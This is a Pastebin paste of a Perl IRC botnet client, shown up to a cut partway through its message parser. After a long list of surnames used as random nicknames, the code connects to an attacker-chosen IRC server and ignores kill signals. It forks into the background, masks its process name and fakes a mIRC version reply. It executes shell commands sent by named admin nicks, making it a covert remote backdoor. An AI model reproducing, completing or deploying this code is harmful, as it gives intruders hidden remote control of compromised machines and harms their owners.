coi234

Untitled

Apr 14th, 2021
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.02 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #use LWP::UserAgent;
  4.  
  5. my $linas_max = '5';
  6. my $sleep = '7';
  7. my $VERSAO = "2.3.4-1";
  8. my @nickname = ("Ackerman",
  9. "Adams",
  10. "Addison",
  11. "Adelstein",
  12. "Adibe",
  13. "Adorno",
  14. "Ahlers",
  15. "Alavi",
  16. "Alcorn",
  17. "Alda",
  18. "Aleks",
  19. "Allison",
  20. "Alongi",
  21. "Altavilla",
  22. "Altenberger",
  23. "Altenhofen",
  24. "Amaral",
  25. "Amatangelo",
  26. "Ameer",
  27. "Amsden",
  28. "Anand",
  29. "Andel",
  30. "Ando",
  31. "Andrelus",
  32. "Andron",
  33. "Anfinrud",
  34. "Ansley",
  35. "Anthony",
  36. "Antos",
  37. "Arbia",
  38. "Arduini",
  39. "Arellano",
  40. "Aristotle",
  41. "Arjas",
  42. "Arky",
  43. "Atkins",
  44. "Augustus",
  45. "Aurelius",
  46. "Axelrod",
  47. "Axworthy",
  48. "Ayiemba",
  49. "Aykroyd",
  50. "Ayling",
  51. "Azima",
  52. "Bachmuth",
  53. "Backus",
  54. "Bady",
  55. "Baglivo",
  56. "Bagnold",
  57. "Bailar",
  58. "Bakanowsky",
  59. "Baleja",
  60. "Ballatori",
  61. "Ballew",
  62. "Baltz",
  63. "Banta",
  64. "Barabesi",
  65. "Barajas",
  66. "Baranczak",
  67. "Baranowska",
  68. "Barberi",
  69. "Barbetti",
  70. "Barneson",
  71. "Barnett",
  72. "Barriola",
  73. "Barry",
  74. "Bartholomew",
  75. "Bartolome",
  76. "Bartoo",
  77. "Basavappa",
  78. "Bashevis",
  79. "Batchelder",
  80. "Baumiller",
  81. "Bayles",
  82. "Bayo",
  83. "Beacon",
  84. "Beal",
  85. "Bean",
  86. "Beckman",
  87. "Beder",
  88. "Bedford",
  89. "Behenna",
  90. "Belanger",
  91. "Belaoussof",
  92. "Belfer",
  93. "Belin-Collart",
  94. "Bellavance",
  95. "Bellhouse",
  96. "Bellini",
  97. "Belloc",
  98. "Benedict-Dye",
  99. "Bergson",
  100. "Berke-Jenkins",
  101. "Bernardo",
  102. "Bernassola",
  103. "Bernston",
  104. "Berrizbeitia",
  105. "Betti",
  106. "Beynart",
  107. "Biagioli",
  108. "Bickel",
  109. "Binion",
  110. "Bir",
  111. "Bisema",
  112. "Bisho",
  113. "Blackbourn",
  114. "Blackwell",
  115. "Blagg",
  116. "Blakemore",
  117. "Blanke",
  118. "Bliss",
  119. "Blizard",
  120. "Bloch",
  121. "Bloembergen",
  122. "Bloemhof",
  123. "Bloxham",
  124. "Blyth",
  125. "Bolger",
  126. "Bolick",
  127. "Bollinger",
  128. "Bologna",
  129. "Boner",
  130. "Bonham",
  131. "Boniface",
  132. "Bontempo",
  133. "Book",
  134. "Bookbinder",
  135. "Boone",
  136. "Boorstin",
  137. "Borack",
  138. "Borden",
  139. "Bossi",
  140. "Bothman",
  141. "Botosh",
  142. "Boudin",
  143. "Boudrot",
  144. "Bourneuf",
  145. "Bowers",
  146. "Boxer",
  147. "Boyajian",
  148. "Boyes",
  149. "Boyland",
  150. "Boym",
  151. "Boyne",
  152. "Bracalente",
  153. "Bradac",
  154. "Bradach",
  155. "Brecht",
  156. "Breed",
  157. "Brenan",
  158. "Brennan",
  159. "Brewer",
  160. "Brewer",
  161. "Bridgeman",
  162. "Bridges",
  163. "Brinton",
  164. "Britz",
  165. "Broca",
  166. "Brook",
  167. "Brzycki",
  168. "Buchan",
  169. "Budding",
  170. "Bullard",
  171. "Bunton",
  172. "Burden",
  173. "Burdzy",
  174. "Burke",
  175. "Burridge",
  176. "Busetta",
  177. "Byatt",
  178. "Byerly",
  179. "Byrd",
  180. "Cage",
  181. "Calnan",
  182. "Cammelli",
  183. "Cammilleri",
  184. "Canley",
  185. "Capanni",
  186. "Caperton",
  187. "Capocaccia",
  188. "Capodilupo",
  189. "Cappuccio",
  190. "Capursi",
  191. "Caratozzolo",
  192. "Carayannopoulos",
  193. "Carlin",
  194. "Carlos",
  195. "Carlyle",
  196. "Carmichael",
  197. "Caroti",
  198. "Carper",
  199. "Cartmill",
  200. "Cascio",
  201. "Case",
  202. "Caspar",
  203. "Castelda",
  204. "Cavanagh",
  205. "Cavell",
  206. "Ceniceros",
  207. "Cerioli",
  208. "Chapman",
  209. "Charles",
  210. "Cheang",
  211. "Cherry",
  212. "Chervinsky",
  213. "Chiassino",
  214. "Chien",
  215. "Childress",
  216. "Childs",
  217. "Chinipardaz",
  218. "Chinman",
  219. "Christenson",
  220. "Christian",
  221. "Christiano",
  222. "Christie",
  223. "Christopher",
  224. "Chu",
  225. "Chupasko",
  226. "Church",
  227. "Ciampaglia",
  228. "Cicero",
  229. "Cifarelli",
  230. "Claffey",
  231. "Clancy",
  232. "Clark",
  233. "Clement",
  234. "Clifton",
  235. "Clow",
  236. "Coblenz",
  237. "Coito",
  238. "Coldren",
  239. "Colella",
  240. "Collard",
  241. "Collis",
  242. "Compton",
  243. "Compton",
  244. "Comstock",
  245. "Concino",
  246. "Condodina",
  247. "Connors",
  248. "Corey",
  249. "Cornish",
  250. "Cosmides",
  251. "Counter",
  252. "Coutaux",
  253. "Crawford",
  254. "Crocker",
  255. "Croshaw",
  256. "Croxen",
  257. "Croxton",
  258. "Cui",
  259. "Currier",
  260. "Cutler",
  261. "Cvek",
  262. "Cyders",
  263. "daSilva",
  264. "Daldalian",
  265. "Daly",
  266. "D'Ambra",
  267. "Danieli",
  268. "Dante",
  269. "Dapice",
  270. "D'arcangelo",
  271. "Das",
  272. "Dasgupta",
  273. "Daskalu",
  274. "David",
  275. "Dawkins",
  276. "DeGennaro",
  277. "DeLaPena",
  278. "del'Enclos",
  279. "deRousse",
  280. "Debroff",
  281. "Dees",
  282. "Defeciani",
  283. "Delattre",
  284. "Deleon-Rendon",
  285. "Delger",
  286. "Dell'acqua",
  287. "Deming",
  288. "Dempster",
  289. "Demusz",
  290. "Denault",
  291. "Denham",
  292. "Denison",
  293. "Desombre",
  294. "Deutsch",
  295. "D'fini",
  296. "Dicks",
  297. "Diefenbach",
  298. "Difabio",
  299. "Difronzo",
  300. "Dilworth",
  301. "Dionysius",
  302. "Dirksen",
  303. "Dockery",
  304. "Doherty",
  305. "Donahue",
  306. "Donner",
  307. "Doonan",
  308. "Dore",
  309. "Dorf",
  310. "Dosi",
  311. "Doty",
  312. "Doug",
  313. "Dowsland",
  314. "Drinker",
  315. "D'souza",
  316. "Duffin",
  317. "Durrett",
  318. "Dussault",
  319. "Dwyer",
  320. "Eardley",
  321. "Ebeling",
  322. "Eckel",
  323. "Edley",
  324. "Edner",
  325. "Edward",
  326. "Eickenhorst",
  327. "Eliasson",
  328. "Elmendorf",
  329. "Elmerick",
  330. "Elvis",
  331. "Encinas",
  332. "Enyeart",
  333. "Eppling",
  334. "Erbach",
  335. "Erdman",
  336. "Erdos",
  337. "Erez",
  338. "Espinoza",
  339. "Estes",
  340. "Etter",
  341. "Euripides",
  342. "Everett",
  343. "Fabbris",
  344. "Fagan",
  345. "Faioes",
  346. "Falco-Acosta",
  347. "Falorsi",
  348. "Faris",
  349. "Farone",
  350. "Farren",
  351. "Fasso'",
  352. "Fates",
  353. "Feigenbaum",
  354. "Fejzo",
  355. "Feldman",
  356. "Fernald",
  357. "Fernandes",
  358. "Ferrante",
  359. "Ferriell",
  360. "Feuer",
  361. "Fido",
  362. "Field",
  363. "Fink",
  364. "Finkelstein",
  365. "Finnegan",
  366. "Fiorina",
  367. "Fisk",
  368. "Fitzmaurice",
  369. "Flier",
  370. "Flores",
  371. "Folks",
  372. "Forester",
  373. "Fortes",
  374. "Fortier",
  375. "Fossey",
  376. "Fossi",
  377. "Francisco",
  378. "Franklin-Kenea",
  379. "Franz",
  380. "Frazier-Davis",
  381. "Freid",
  382. "Freundlich",
  383. "Fried",
  384. "Friedland",
  385. "Frisken",
  386. "Frowiss",
  387. "Fryberger",
  388. "Frye",
  389. "Fujii-Abe",
  390. "Fuller",
  391. "Furth",
  392. "Fusaro",
  393. "Gabrielli",
  394. "Gaggiotti",
  395. "Galeotti",
  396. "Galwey",
  397. "Gambini",
  398. "Garfield",
  399. "Garman",
  400. "Garonna",
  401. "Geller",
  402. "Gemberling",
  403. "Georgi",
  404. "Gerrett",
  405. "Ghorai",
  406. "Gibbens",
  407. "Gibson",
  408. "Gilbert",
  409. "Gili",
  410. "Gill",
  411. "Gillispie",
  412. "Gist",
  413. "Gleason",
  414. "Glegg",
  415. "Glendon",
  416. "Goldfarb",
  417. "Goncalves",
  418. "Good",
  419. "Goodearl",
  420. "Goody",
  421. "Gozzi",
  422. "Gravell",
  423. "Greenberg",
  424. "Greenfeld",
  425. "Griffiths",
  426. "Grigoletto",
  427. "Grummell",
  428. "Gruner",
  429. "Gruppe",
  430. "Guenthart",
  431. "Gunn",
  432. "Guo",
  433. "Ha",
  434. "Haar",
  435. "Hackman",
  436. "Hackshaw",
  437. "Haley",
  438. "Halkias",
  439. "Hallowell",
  440. "Halpert",
  441. "Hambarzumjan",
  442. "Hamer",
  443. "Hammerness",
  444. "Hand",
  445. "Hanssen",
  446. "Harding",
  447. "Hargraves",
  448. "Harlow",
  449. "Harrigan",
  450. "Hartman",
  451. "Hartmann",
  452. "Hartnett",
  453. "Harwell",
  454. "Haviaras",
  455. "Hawkes",
  456. "Hayes",
  457. "Haynes",
  458. "Hazlewood",
  459. "Heermans",
  460. "Heft",
  461. "Heiland",
  462. "Hellman",
  463. "Hellmiss",
  464. "Helprin",
  465. "Hemphill",
  466. "Henery",
  467. "Henrichs",
  468. "Hernandez",
  469. "Herrera",
  470. "Hester",
  471. "Heubert",
  472. "Heyeck",
  473. "Himmelfarb",
  474. "Hind",
  475. "Hirst",
  476. "Hitchcock",
  477. "Hoang",
  478. "Hock",
  479. "Hoffer",
  480. "Hoffman",
  481. "Hokanson",
  482. "Hokoda",
  483. "Holmes",
  484. "Holoien",
  485. "Holter",
  486. "Holway",
  487. "Holzman",
  488. "Hooker",
  489. "Hopkins",
  490. "Horsley",
  491. "Hoshida",
  492. "Hostage",
  493. "Hottle",
  494. "Howard",
  495. "Hoy",
  496. "Huey",
  497. "Huidekoper",
  498. "Hungerford",
  499. "Huntington",
  500. "Hupp",
  501. "Hurtubise",
  502. "Hutchings",
  503. "Hyde",
  504. "Iaquinta",
  505. "Ichikawa",
  506. "Igarashi",
  507. "Inamura",
  508. "Inniss",
  509. "Isaac",
  510. "Isaievych",
  511. "Isbill",
  512. "Isserman",
  513. "Iyer",
  514. "Jacenko",
  515. "Jackson",
  516. "Jagers",
  517. "Jagger",
  518. "Jagoe",
  519. "Jain",
  520. "Jamil",
  521. "Janjigian",
  522. "Jarnagin",
  523. "Jarrell",
  524. "Jay",
  525. "Jeffers",
  526. "Jellis",
  527. "Jenkins",
  528. "Jespersen",
  529. "Jewett",
  530. "Johannesson",
  531. "Johannsen",
  532. "Johns",
  533. "Jolly",
  534. "Jorgensen",
  535. "Jucks",
  536. "Juliano",
  537. "Julious",
  538. "Kabbash",
  539. "Kaboolian",
  540. "Kafadar",
  541. "Kalbfleisch",
  542. "Kaligian",
  543. "Kalil",
  544. "Kalinowski",
  545. "Kalman",
  546. "Kamel",
  547. "Kangis",
  548. "Karpouzes",
  549. "Kassower",
  550. "Kasten",
  551. "Kawachi",
  552. "Kee",
  553. "Keenan",
  554. "Keepper",
  555. "Keith",
  556. "Kelker",
  557. "Kelsey",
  558. "Kempton",
  559. "Kemsley",
  560. "Kendall",
  561. "Kerry",
  562. "Keul",
  563. "Khong",
  564. "Kimmel",
  565. "Kimmett",
  566. "Kimura",
  567. "Kindall",
  568. "Kinsley",
  569. "Kippenberger",
  570. "Kirscht",
  571. "Kittridge",
  572. "Kleckner",
  573. "Kleiman",
  574. "Kleinfelder",
  575. "Klemperer",
  576. "Kling",
  577. "Klinkenborg",
  578. "Klint",
  579. "Knuff",
  580. "Kobrick",
  581. "Koch",
  582. "Kohn",
  583. "Koivumaki",
  584. "Kommer",
  585. "Koniaris",
  586. "Konrad",
  587. "Kool",
  588. "Korzybski",
  589. "Kotter",
  590. "Kovaks",
  591. "Kraemer",
  592. "Krailo",
  593. "Krasney",
  594. "Kraus",
  595. "Kroemer",
  596. "Krysiak",
  597. "Kuenzli",
  598. "Kumar",
  599. "Kusman",
  600. "Kuwabara",
  601. "La",
  602. "Labunka",
  603. "Lafler",
  604. "Laing",
  605. "Lallemant",
  606. "Landes",
  607. "Lankes",
  608. "Lantieri",
  609. "Lanzit",
  610. "Laserna",
  611. "Lashley",
  612. "Lawless",
  613. "Lecar",
  614. "Lecce",
  615. "Leclercq",
  616. "Leite",
  617. "Lenard",
  618. "l'Enclos",
  619. "Lesser",
  620. "Lessi",
  621. "Liakos",
  622. "Lidano",
  623. "Liem",
  624. "Light",
  625. "Lightfoot",
  626. "Lim",
  627. "Linares",
  628. "Linda",
  629. "Linder",
  630. "Line",
  631. "Linehan",
  632. "Linzee",
  633. "Lippmann",
  634. "Lipponen",
  635. "Little",
  636. "Litvak",
  637. "Livernash",
  638. "Livi",
  639. "Livolsi",
  640. "Lizardo",
  641. "Locatelli",
  642. "Longworth",
  643. "Loss",
  644. "Loveman",
  645. "Lowenstein",
  646. "Loza",
  647. "Lubin",
  648. "Lucas",
  649. "Luciano",
  650. "Luczkow",
  651. "Luecke",
  652. "Lunetta",
  653. "Luoma",
  654. "Lussier",
  655. "Lutcavage",
  656. "Luzader",
  657. "Ma",
  658. "Maccormac",
  659. "Macdonald",
  660. "Maceachern",
  661. "Macintyre",
  662. "Mackenney",
  663. "MacMillan",
  664. "Macy",
  665. "Madigan",
  666. "Maggio",
  667. "Mahony",
  668. "Maier",
  669. "Maine-Hershey",
  670. "Maisano",
  671. "Malatesta",
  672. "Maller",
  673. "Malova",
  674. "Manalis",
  675. "Mandel",
  676. "Manganiello",
  677. "Mantovan",
  678. "March",
  679. "Marchbanks",
  680. "Marcus",
  681. "Margalit",
  682. "Margetts",
  683. "Marques",
  684. "Martinez",
  685. "Martochio",
  686. "Marton",
  687. "Marubini",
  688. "Mass",
  689. "Matalka",
  690. "Matarazzo",
  691. "Matsukata",
  692. "Mattson",
  693. "Mauzy",
  694. "May",
  695. "Mazzali",
  696. "Mazziotta",
  697. "Mcbride",
  698. "Mccaffery",
  699. "Mccall",
  700. "Mcclearn",
  701. "Mcdowell",
  702. "Mcelroy",
  703. "McFadden",
  704. "Mcghee",
  705. "Mcgoldrick",
  706. "McIlroy",
  707. "Mcintosh",
  708. "Mckenna",
  709. "Mclane",
  710. "Mclaren",
  711. "Mcnealy",
  712. "Mcnulty",
  713. "Meccariello",
  714. "Memisoglu",
  715. "Menzies",
  716. "Merikoski",
  717. "Merlani",
  718. "Merminod",
  719. "Merseth",
  720. "Merz",
  721. "Metelka",
  722. "Metropolis",
  723. "Meurer",
  724. "Michelman",
  725. "Middle",
  726. "Mieher",
  727. "Mills",
  728. "Minh",
  729. "Mini",
  730. "Minichiello",
  731. "Gonzalez",
  732. "Mitropoulos",
  733. "Mittal",
  734. "Mocroft",
  735. "Modestino",
  736. "Moeller",
  737. "Mohr",
  738. "Moiamedi",
  739. "Monque",
  740. "Montilio",
  741. "MooreDeCh.",
  742. "Morani",
  743. "Moreton",
  744. "Morrison",
  745. "Morrow",
  746. "Mortimer",
  747. "Mosher",
  748. "Mosler",
  749. "Mostafavi",
  750. "Motooka",
  751. "Mudarri",
  752. "Muello",
  753. "Mugnai",
  754. "Mulkern",
  755. "Mulroy",
  756. "Mumford",
  757. "Mussachio",
  758. "Naddeo",
  759. "Napolitano",
  760. "Nardi",
  761. "Nardone",
  762. "Naviaux",
  763. "Nayduch",
  764. "Nelson",
  765. "Nenna",
  766. "Nesci",
  767. "Neuman",
  768. "Newfeld",
  769. "Newlin",
  770. "Ng",
  771. "Ni",
  772. "Nickerson",
  773. "Nickoloff",
  774. "Nisenson",
  775. "Nitabach",
  776. "Notman",
  777. "Nuzum",
  778. "Ocougne",
  779. "Ogata",
  780. "Oh",
  781. "O'hagan",
  782. "Oldford",
  783. "Olsen",
  784. "Olson",
  785. "Olszewski",
  786. "O'malley",
  787. "Oman",
  788. "O'meara",
  789. "Opel",
  790. "Oray",
  791. "Orfield",
  792. "Orsi",
  793. "Ospina",
  794. "Ostrowski",
  795. "Ottaviani",
  796. "Otten",
  797. "Ouchida",
  798. "Ovid",
  799. "PaesDealmeida",
  800. "Paine",
  801. "Palayoor",
  802. "Palepu",
  803. "Pallara",
  804. "Palmitesta",
  805. "Panadero",
  806. "Panizzon",
  807. "Pantilla",
  808. "Paoletti",
  809. "Parmeggiani",
  810. "Parris",
  811. "Partridge",
  812. "Pascucci",
  813. "Patefield",
  814. "Patrick",
  815. "Pattullo",
  816. "Pavetti",
  817. "Pavlon",
  818. "Pawloski",
  819. "Paynter",
  820. "Peabody",
  821. "Pearlberg",
  822. "Pederson",
  823. "Peishel",
  824. "Penny",
  825. "Pereira",
  826. "Perko",
  827. "Perlak",
  828. "Perlman",
  829. "Perna",
  830. "Perone",
  831. "Perrimon",
  832. "Peters",
  833. "Petruzello",
  834. "Pettibone",
  835. "Pettit",
  836. "Pfister",
  837. "Pilbeam",
  838. "Pinot",
  839. "Plancon",
  840. "Plant",
  841. "Plasket",
  842. "Plous",
  843. "Po",
  844. "Pocobene",
  845. "Poincaire",
  846. "Pointer",
  847. "Poirier",
  848. "Polak",
  849. "Polanyi",
  850. "Politis",
  851. "Poma",
  852. "Poolman",
  853. "Powers",
  854. "Presper",
  855. "Preucel",
  856. "Prevost",
  857. "Pritchard",
  858. "Pritz",
  859. "Proietti",
  860. "Prothrow-Stith",
  861. "Puccia",
  862. "Pugh",
  863. "Pynchon",
  864. "Quaday",
  865. "Quetin",
  866. "Rabe",
  867. "Rabkin",
  868. "Radeke",
  869. "Rajagopalan",
  870. "Raney",
  871. "Rangan",
  872. "Rankin",
  873. "Rapple",
  874. "Rayport",
  875. "Redden-Tyler",
  876. "Reedquist",
  877. "Cunningham",
  878. "Reinold",
  879. "Remak",
  880. "Renick",
  881. "Repetto",
  882. "Resnik",
  883. "Rhea",
  884. "Richmond",
  885. "Rielly",
  886. "Rindos",
  887. "Rineer",
  888. "Rish",
  889. "Rivera",
  890. "Robinson",
  891. "Rocha",
  892. "Roesler",
  893. "Rogers",
  894. "Ronen",
  895. "Row",
  896. "Royal",
  897. "Ru",
  898. "Ruan",
  899. "Ruderman",
  900. "Ruescher",
  901. "Rush",
  902. "Ryu",
  903. "Sabatello",
  904. "Sadler",
  905. "Safire",
  906. "Sahu",
  907. "Sali",
  908. "Samson",
  909. "Sanchez-Ramirez",
  910. "Sanna",
  911. "Sapers",
  912. "Sarin",
  913. "Sartore",
  914. "Sase",
  915. "Satin",
  916. "Satta",
  917. "Satterthwaite",
  918. "Sawtell",
  919. "Sayied",
  920. "Scarponi",
  921. "Scepan",
  922. "Scharf",
  923. "Scharlemann",
  924. "Scheiner",
  925. "Schiano",
  926. "Schifini",
  927. "Schilling",
  928. "Schmitt",
  929. "Schossberger",
  930. "Schuman",
  931. "Schutte",
  932. "Schuyler",
  933. "Schwan",
  934. "Schwickrath",
  935. "Scovel",
  936. "Scudder",
  937. "Seaton",
  938. "Seeber",
  939. "Segal",
  940. "Sekler",
  941. "Selvage",
  942. "Sen",
  943. "Sennett",
  944. "Seterdahl",
  945. "Sexton",
  946. "Seyfert",
  947. "Shaikh",
  948. "Shakis",
  949. "Shankland",
  950. "Shanley",
  951. "Shar",
  952. "Shatrov",
  953. "Shavelson",
  954. "Shea",
  955. "Sheats",
  956. "Shepherd",
  957. "Sheppard",
  958. "Shepstone",
  959. "Shesko",
  960. "Shia",
  961. "Shibata",
  962. "Shimon",
  963. "Siesto",
  964. "Sigalot",
  965. "Sigini",
  966. "Signa",
  967. "Silverman",
  968. "Silvetti",
  969. "Sinsabaugh",
  970. "Sirilli",
  971. "Sites",
  972. "Skane",
  973. "Skerry",
  974. "Skoda",
  975. "Sloan",
  976. "Slowe",
  977. "Smilow",
  978. "Sniffen",
  979. "Snodgrass",
  980. "Socolow",
  981. "Solon",
  982. "Somers",
  983. "Sommariva",
  984. "Sorabella",
  985. "Sorg",
  986. "Sottak",
  987. "Soukup",
  988. "Soule",
  989. "Soultanian",
  990. "Spanier",
  991. "Sparrow",
  992. "Spaulding",
  993. "Speizer",
  994. "Spence",
  995. "Sperber",
  996. "Spicer",
  997. "Spiegelhalter",
  998. "Spiliotis",
  999. "Spinrad",
  1000. "StMartin",
  1001. "Stalvey",
  1002. "Stam",
  1003. "Stang",
  1004. "Stassinopolus",
  1005. "States",
  1006. "Statlender",
  1007. "Stefani",
  1008. "Steiner",
  1009. "Stephanian",
  1010. "Stepniewska",
  1011. "Stewart-Oaten",
  1012. "Stiepock",
  1013. "Stillwell",
  1014. "Stock",
  1015. "Stockton",
  1016. "Stockwell",
  1017. "Stolzenberg",
  1018. "Stonich",
  1019. "Storer",
  1020. "Stott",
  1021. "Strange",
  1022. "Strauch",
  1023. "Streiff",
  1024. "Stringer",
  1025. "Sullivan",
  1026. "Sumner",
  1027. "Suo",
  1028. "Surdam",
  1029. "Sweeting",
  1030. "Sweetser",
  1031. "Swindle",
  1032. "Tagiuri",
  1033. "Tai",
  1034. "Talaugon",
  1035. "Tambiah",
  1036. "Tandler",
  1037. "Tanowitz",
  1038. "Tatar",
  1039. "Taveras",
  1040. "Tawn",
  1041. "Tcherepnin",
  1042. "Teague",
  1043. "Temes",
  1044. "Temmer",
  1045. "Tenney",
  1046. "Terracini",
  1047. "Than",
  1048. "Thavaneswaran",
  1049. "Theodos",
  1050. "Thibault",
  1051. "Thisted",
  1052. "Thomsen",
  1053. "Throop",
  1054. "Tierney",
  1055. "Till",
  1056. "Timmons",
  1057. "Tofallis",
  1058. "Tollestrup",
  1059. "Tolls",
  1060. "Tolman",
  1061. "Tomford",
  1062. "Toomer",
  1063. "Topulos",
  1064. "Torresi",
  1065. "Torske",
  1066. "Towler",
  1067. "Toye",
  1068. "Traebert",
  1069. "Trenga",
  1070. "Trewin",
  1071. "Tringali",
  1072. "Troiani",
  1073. "Troy",
  1074. "Truss",
  1075. "Tsiatis",
  1076. "Tsomides",
  1077. "Tsukurov",
  1078. "Tuck",
  1079. "Tudge",
  1080. "Tukan",
  1081. "Turano",
  1082. "Turek",
  1083. "Tuttle",
  1084. "Twells",
  1085. "Tzamarias",
  1086. "Ullman",
  1087. "Untermeyer",
  1088. "Upsdell",
  1089. "Urban",
  1090. "Urdang-Brown",
  1091. "Usdan",
  1092. "Uzuner",
  1093. "Vacca",
  1094. "Waite",
  1095. "Valberg",
  1096. "Valencia",
  1097. "Wales",
  1098. "Wallenberg",
  1099. "Walter",
  1100. "vanAllen",
  1101. "VanZwet",
  1102. "Vandenberg",
  1103. "Vanheeckeren",
  1104. "Warshafsky",
  1105. "Wasowska",
  1106. "Vasquez",
  1107. "Waugh",
  1108. "Weighart",
  1109. "Weingarten",
  1110. "Weinhaus",
  1111. "Weissbourd",
  1112. "Weissman",
  1113. "Velasquez",
  1114. "Welles",
  1115. "Welsh",
  1116. "Wengret",
  1117. "Venne",
  1118. "Verghese",
  1119. "Wescott",
  1120. "Wetzel",
  1121. "Whately",
  1122. "Whilton",
  1123. "White",
  1124. "Whitla",
  1125. "Whittaker",
  1126. "Viana",
  1127. "Viano",
  1128. "Wiedersheim",
  1129. "Wiener",
  1130. "Viens",
  1131. "Vignola",
  1132. "Wilder",
  1133. "Wilhelm",
  1134. "Wilk",
  1135. "Wilkin",
  1136. "Wilkinson",
  1137. "Villarreal",
  1138. "Willstatter",
  1139. "Wilson",
  1140. "Vitali",
  1141. "Viviani",
  1142. "Voigt",
  1143. "Wolk",
  1144. "VonHoffman",
  1145. "Woo",
  1146. "Wooden",
  1147. "Woods",
  1148. "Woods-Powell",
  1149. "Vorhaus",
  1150. "Votey",
  1151. "Yacono",
  1152. "Yamane",
  1153. "Yankee",
  1154. "Yarchuk",
  1155. "Yates",
  1156. "Ybarra",
  1157. "Yedidia",
  1158. "Yesson",
  1159. "Yetiv",
  1160. "Yoffe",
  1161. "Yoo",
  1162. "Youk-See",
  1163. "Yu",
  1164. "Zachary",
  1165. "Zahedi",
  1166. "Zangwill",
  1167. "Zegans",
  1168. "Zerbini",
  1169. "Zoldak",
  1170. "Zucconi",
  1171. "Zurn",
  1172. "Zytowski");
  1173. my $nick = $nickname[rand scalar @nickname];
  1174. #Nickname of insect
  1175. my $ircname =$nickname[rand scalar @nickname];
  1176. $servidor = $ARGV[0] unless $servidor;
  1177. my $porta = $ARGV[1];
  1178. my @canais = ('#'.$ARGV[2]);
  1179. my @adms = ("coi","arage","$ARGV[3]");
  1180. my $processo = $ARGV[4];
  1181. chop (my $realname = `hostname`);
  1182.  
  1183. my $success = "\n [+] Bot Shell\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n\n";
  1184. my $failed = "\n [?] perl $0 <irchost> <port> <chan> <admin> <fakeproc>\n\n";
  1185.  
  1186. if (@ARGV != 5) { print $failed; exit(); } else { print $success; }
  1187.  
  1188. $SIG{'INT'} = 'IGNORE';
  1189. $SIG{'HUP'} = 'IGNORE';
  1190. $SIG{'TERM'} = 'IGNORE';
  1191. $SIG{'CHLD'} = 'IGNORE';
  1192. $SIG{'PS'} = 'IGNORE';
  1193.  
  1194. use IO::Socket;
  1195. use Socket;
  1196. use IO::Select;
  1197. chdir("/");
  1198. $servidor="$ARGV[0]" if $ARGV[0];
  1199. $0="$processo"."\0"x16;;
  1200. my $pid=fork;
  1201. exit if $pid;
  1202. die "Problema com o fork: $!" unless defined($pid);
  1203. our %irc_servers;
  1204. our %DCC;
  1205. my $dcc_sel = new IO::Select->new();
  1206. $sel_cliente = IO::Select->new();
  1207. sub sendraw {
  1208. if ($#_ == '1') {
  1209. my $socket = $_[0];
  1210. print $socket "$_[1]\n";
  1211. } else {
  1212. print $IRC_cur_socket "$_[0]\n";
  1213. }
  1214. }
  1215.  
  1216. sub conectar {
  1217. my $meunick = $_[0];
  1218. my $servidor_con = $_[1];
  1219. my $porta_con = $_[2];
  1220.  
  1221. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  1222. if (defined($IRC_socket)) {
  1223. $IRC_cur_socket = $IRC_socket;
  1224.  
  1225. $IRC_socket->autoflush(1);
  1226. $sel_cliente->add($IRC_socket);
  1227.  
  1228. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  1229. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  1230. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1231. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  1232. nick("$meunick");
  1233. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  1234. sleep 1;
  1235. }
  1236. }
  1237.  
  1238. my $line_temp;
  1239. while( 1 ) {
  1240. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  1241. delete($irc_servers{''}) if (defined($irc_servers{''}));
  1242. my @ready = $sel_cliente->can_read(0);
  1243. next unless(@ready);
  1244. foreach $fh (@ready) {
  1245. $IRC_cur_socket = $fh;
  1246. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  1247. $nread = sysread($fh, $msg, 4096);
  1248. if ($nread == 0) {
  1249. $sel_cliente->remove($fh);
  1250. $fh->close;
  1251. delete($irc_servers{$fh});
  1252. }
  1253. @lines = split (/\n/, $msg);
  1254.  
  1255. for(my $c=0; $c<= $#lines; $c++) {
  1256. $line = $lines[$c];
  1257. $line=$line_temp.$line if ($line_temp);
  1258. $line_temp='';
  1259. $line =~ s/\r$//;
  1260. unless ($c == $#lines) {
  1261. parse("$line");
  1262. } else {
  1263. if ($#lines == 0) {
  1264. parse("$line");
  1265. } elsif ($lines[$c] =~ /\r$/) {
  1266. parse("$line");
  1267. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  1268. parse("$line");
  1269. } else {
  1270. $line_temp = $line;
  1271. }
  1272. }
  1273. }
  1274. }
  1275. }
  1276.  
  1277. sub parse {
  1278. my $servarg = shift;
  1279. if ($servarg =~ /^PING \:(.*)/) {
  1280. sendraw("PONG :$1");
  1281. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  1282. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  1283. if ($args =~ /^\001VERSION\001$/) {
  1284. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  1285. }
  1286. if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  1287. if ($onde eq "$meunick"){
  1288. shell("$pn", "$args");
  1289. }
  1290. if ($args =~ /^(\Q$meunick\E|\!bht)\s+(.*)/ ) {
  1291. my $natrix = $1;
  1292. my $arg = $2;
  1293. if ($arg =~ /^\!(.*)/) {
  1294. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  1295. } elsif ($arg =~ /^\@(.*)/) {
  1296. $ondep = $onde;
  1297. $ondep = $pn if $onde eq $meunick;
  1298. bfunc("$ondep","$1", "$pn");
  1299. } else {
  1300. shell("$onde", "$arg");
  1301. }
  1302. }
  1303. }
  1304. }
  1305. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  1306. if (lc($1) eq lc($meunick)) {
  1307. $meunick=$4;
